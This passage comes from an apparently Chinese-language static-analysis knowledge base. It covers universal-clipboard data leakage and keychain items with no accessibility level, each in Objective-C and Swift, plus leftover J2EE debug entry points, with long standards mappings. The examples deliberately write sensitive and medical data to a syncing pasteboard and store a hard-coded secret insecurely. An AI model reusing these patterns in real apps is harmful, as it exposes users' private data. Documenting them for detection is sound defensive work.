[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.3.1, Requirement 3.3.2, Requirement 3.3.3, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[31] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002340 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[54] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.java.insecure_storage_s3_write_anonymous_access
Abstract
应用程序会将内容存储到通用粘贴板,该粘贴板会在使用同一个 iCloud 帐户登录的所有设备之间自动同步。
Explanation
识别出的函数会将数据写入通用粘贴板,但未阻止数据通过“接力”功能在各个设备的通用剪贴板之间同步。

写入通用粘贴板的内容在设备重启、应用程序卸载和应用程序恢复期间会永久存储。在启用了通用剪贴板功能的情况下使用通用粘贴板会增加粘贴板数据被盗用或被修改的风险,这是在另一台设备上运行的恶意应用程序发起剪贴板劫持攻击的一部分。

此外,由于通用剪贴板与运行 iOS 10 及更高版本或 macOS Sierra 及更高版本的设备兼容,因此运行较旧的操作系统(不含旨在保护未经授权的剪贴板访问的最新隐私和安全更新)的兼容设备会带来更大的威胁。

示例 1:以下代码通过设置 items 属性将数据写入通用粘贴板,默认情况下,该属性允许通过通用剪贴板在用户设备之间共享粘贴板内容。


...
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
NSDictionary *items = @{
UTTypePlainText : sensitiveDataString,
UTTypePNG : [UIImage imageWithData:medicalImageData]
};
[pasteboard setItems: @[items]];
...
示例 2:以下代码在通用剪贴板行为显式启用(通过将 localOnly 参数设置为 NO)的情况下通过调用 setObjects:localOnly:expirationDate: 方法将数据写入通用粘贴板。


...
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
[pasteboard setObjects:@[sensitiveDataString, [UIImage imageWithData:medicalImageData]]
localOnly:NO
expirationDate:[NSDate distantFuture]];
...
References
[1] UIPasteboard | Apple Developer Documentation Apple
[2] iOS Platform APIs - OWASP Mobile Application Security OWASP
[3] Standards Mapping - Common Weakness Enumeration CWE ID 312, CWE ID 359
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [17] CWE ID 200
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[9] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.1.1 Data Classification (L2 L3), 6.1.2 Data Classification (L2 L3), 6.1.3 Data Classification (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3), 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[14] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[16] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[17] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[18] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[19] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[20] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.3.1, Requirement 3.3.2, Requirement 3.3.3, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection, Control Objective B.2.5 - Terminal Software Design
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection, Control Objective B.2.5 - Terminal Software Design
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002340 CAT II
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[56] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.objc.insecure_storage_universal_clipboard
Abstract
应用程序会将内容存储到通用粘贴板,该粘贴板会在使用同一个 iCloud 帐户登录的所有设备之间自动同步。
Explanation
识别出的函数会将数据写入通用粘贴板,但未阻止数据通过“接力”功能在各个设备的通用剪贴板之间同步。

写入通用粘贴板的内容在设备重启、应用程序卸载和应用程序恢复期间会永久存储。在启用了通用剪贴板功能的情况下使用通用粘贴板会增加粘贴板数据被盗用或被修改的风险,这是在另一台设备上运行的恶意应用程序发起剪贴板劫持攻击的一部分。

此外,由于通用剪贴板与运行 iOS 10 及更高版本或 macOS Sierra 及更高版本的设备兼容,因此运行较旧的操作系统(不含旨在保护未经授权的剪贴板访问的最新隐私和安全更新)的兼容设备会带来更大的威胁。

示例 1:以下代码使用 setItems(_:options:) 方法将数据写入通用粘贴板,默认情况下,该方法通过通用剪贴板在用户设备之间共享粘贴板内容。


...
let pasteboard = UIPasteboard.general
let items: [[String: Any]] = [
["text": sensitiveDataString],
["image": UIImage(data: medicalImageData)!]
]
pasteboard.setItems(items)
...
示例 2:以下代码在通用剪贴板行为显式启用(通过将 localOnly 参数设置为 false)的情况下使用 setObjects(_:localOnly:expirationDate:) 方法将数据写入通用粘贴板。


...
let pasteboard = UIPasteboard.general
let items: [Any] = [
sensitiveDataString,
UIImage(data: medicalImageData)!
]
pasteboard.setObjects([items], localOnly: false, expirationDate: Date.distantFuture)
...
References
[1] UIPasteboard | Apple Developer Documentation Apple
[2] iOS Platform APIs - OWASP Mobile Application Security OWASP
[3] Standards Mapping - Common Weakness Enumeration CWE ID 312, CWE ID 359
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [17] CWE ID 200
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[9] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.1.1 Data Classification (L2 L3), 6.1.2 Data Classification (L2 L3), 6.1.3 Data Classification (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3), 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[14] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[16] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[17] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[18] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[19] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[20] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.3.1, Requirement 3.3.2, Requirement 3.3.3, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection, Control Objective B.2.5 - Terminal Software Design
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection, Control Objective B.2.5 - Terminal Software Design
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002340 CAT II
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[56] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.swift.insecure_storage_universal_clipboard
Abstract
该方法在未指定可访问性级别的情况下将数据存储在了密钥链中。
Explanation
将数据存储到密钥链中时,需要设置可访问性级别以定义可在何时访问项目。可用的可访问性级别如下所示:

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
重新启动后,将无法访问密钥链项目中的数据,直到用户将设备解除锁定一次。
第一次解除锁定后,数据将保持可访问状态,直到下次重新启动。推荐将此属性用于需要由后台应用程序访问的项目。具有此属性的项目不会迁移到新设备。因此,从不同设备的备份恢复后,这些项目将不存在。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleAlways:
始终可访问密钥链项目中的数据,无论设备是否已锁定。
不建议用于应用程序。具有此属性的项目在使用加密备份时会迁移到新设备。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
只能在设备解除锁定时访问密钥链中的数据。仅在设备上设置了密码时可用。
建议只用于当应用程序处于前台时才需要访问的项目。具有此属性的项目不会迁移到新设备。将备份恢复到新设备后,这些项目将丢失。不能在没有密码的设备上的此类中存储任何项目。禁用设备密码将会删除此类中的所有项目。
在 iOS 8.0 和更高版本中可用。

-kSecAttrAccessibleAlwaysThisDeviceOnly:
始终可访问密钥链项目中的数据,无论设备是否已锁定。
不建议用于应用程序。具有此属性的项目不会迁移到新设备。因此,从不同设备的备份恢复后,这些项目将不存在。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleWhenUnlocked:
只能在用户对设备解除锁定时访问密钥链项目中的数据。
建议只用于当应用程序处于前台时才需要访问的项目。具有此属性的项目在使用加密备份时会迁移到新设备。
这是在没有明确设置可访问性常量的情况下添加密钥链项目时的默认值。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
只能在用户对设备解除锁定时访问密钥链项目中的数据。
建议只用于当应用程序处于前台时才需要访问的项目。具有此属性的项目不会迁移到新设备。因此,从不同设备的备份恢复后,这些项目将不存在。
在 iOS 4.0 和更高版本中可用。

最初引入密钥链保护时,可访问性级别的默认值为 kSecAttrAccessibleAlways,但该设置存在安全问题,因为可访问或窃取您的设备的人将能够读取密钥链的内容。当前的默认属性为 kSecAttrAccessibleWhenUnlocked,这是一个限制性较高的默认值。但是,Apple 的公开文档对于默认属性应为何值存在分歧,因此为了以防万一,应在所有密钥链项目上明确设置此属性。

示例 1:在以下示例中,存储密钥链项目时未明确指定可访问性级别,这可能导致在不同的 iOS 版本上出现不同的行为:


...
NSMutableDictionary *dict = [NSMutableDictionary dictionary];
NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

// Configure Keychain Item
[dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
[dict setObject:token forKey:(__bridge id)kSecValueData];
...

OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...
References
[1] Keychain Services Apple
[2] Keychain Item Accessibility Constants Apple
[3] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[4] Standards Mapping - Common Weakness Enumeration CWE ID 359
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [17] CWE ID 200
[9] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[11] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[12] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-AUTH-2, MASVS-STORAGE-2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.3.1, Requirement 3.3.2, Requirement 3.3.3, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
desc.dataflow.objc.insecure_storage_unspecified_keychain_access_policy
Abstract
该方法在未指定可访问性级别的情况下将数据存储在了密钥链中。
Explanation
将数据存储到密钥链中时,需要设置可访问性级别以定义可在何时访问项目。可用的可访问性级别如下所示:

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
重新启动后,将无法访问密钥链项目中的数据,直到用户将设备解除锁定一次。
第一次解除锁定后,数据将保持可访问状态,直到下次重新启动。推荐将此属性用于需要由后台应用程序访问的项目。具有此属性的项目不会迁移到新设备。因此,从不同设备的备份恢复后,这些项目将不存在。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleAlways:
始终可访问密钥链项目中的数据,无论设备是否已锁定。
不建议用于应用程序。具有此属性的项目在使用加密备份时会迁移到新设备。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
只能在设备解除锁定时访问密钥链中的数据。仅在设备上设置了密码时可用。
建议只用于当应用程序处于前台时才需要访问的项目。具有此属性的项目不会迁移到新设备。将备份恢复到新设备后,这些项目将丢失。不能在没有密码的设备上的此类中存储任何项目。禁用设备密码将会删除此类中的所有项目。
在 iOS 8.0 和更高版本中可用。

-kSecAttrAccessibleAlwaysThisDeviceOnly:
始终可访问密钥链项目中的数据,无论设备是否已锁定。
不建议用于应用程序。具有此属性的项目不会迁移到新设备。因此,从不同设备的备份恢复后,这些项目将不存在。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleWhenUnlocked:
只能在用户对设备解除锁定时访问密钥链项目中的数据。
建议只用于当应用程序处于前台时才需要访问的项目。具有此属性的项目在使用加密备份时会迁移到新设备。
这是在没有明确设置可访问性常量的情况下添加密钥链项目时的默认值。
在 iOS 4.0 和更高版本中可用。

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
只能在用户对设备解除锁定时访问密钥链项目中的数据。
建议只用于当应用程序处于前台时才需要访问的项目。具有此属性的项目不会迁移到新设备。因此,从不同设备的备份恢复后,这些项目将不存在。
在 iOS 4.0 和更高版本中可用。

最初引入密钥链保护时,可访问性级别的默认值为 kSecAttrAccessibleAlways,但该设置存在安全问题,因为可访问或窃取您的设备的人将能够读取密钥链的内容。当前的默认属性为 kSecAttrAccessibleWhenUnlocked,这是一个限制性较高的默认值。但是,Apple 的公开文档对于默认属性应为何值存在分歧,因此为了以防万一,应在所有密钥链项目上明确设置此属性。

示例 1:在以下示例中,存储密钥链项目时未明确指定可访问性级别,这可能导致在不同的 iOS 版本上出现不同的行为:


...
// Configure Keychain Item
let token = "secret"
var query = [String : AnyObject]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecValueData as String] = token as AnyObject?

SecItemAdd(query as CFDictionary, nil)
...
References
[1] Keychain Services Apple
[2] Keychain Item Accessibility Constants Apple
[3] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[4] Standards Mapping - Common Weakness Enumeration CWE ID 359
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [17] CWE ID 200
[9] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[11] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[12] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-AUTH-2, MASVS-STORAGE-2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.3.1, Requirement 3.3.2, Requirement 3.3.3, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
desc.dataflow.swift.insecure_storage_unspecified_keychain_access_policy
Abstract
调试代码可以在部署的 web 应用程序中建立一些意想不到的入口点。
Explanation
开发过程中一般会为了调试和测试目的增加一些“后门”代码,这些代码不会随应用程序一起提供或部署。如果这类调试代码无意中被保留在应用程序中,则会导致应用程序向计划外的交互模式开放。这些后门入口点很容易产生安全隐患,因为它们不在当初的设计或者测试的考虑之内,并且不会出现在应用程序设计中的操作环境里。

遗忘调试代码中最常见例子出现在 web 应用程序中的 main() 方法。尽管这在产品的开发过程中是完全可以接受的,但是属于 J2EE 应用程序中的那部分类不应该定义 main()
References
[1] ENV06-J. Production code must not contain debugging entry points CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 489
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.3.2 Unintended Security Disclosure Requirements (L1 L2 L3), 14.2.2 Dependency (L1 L2 L3)
[5] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[6] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
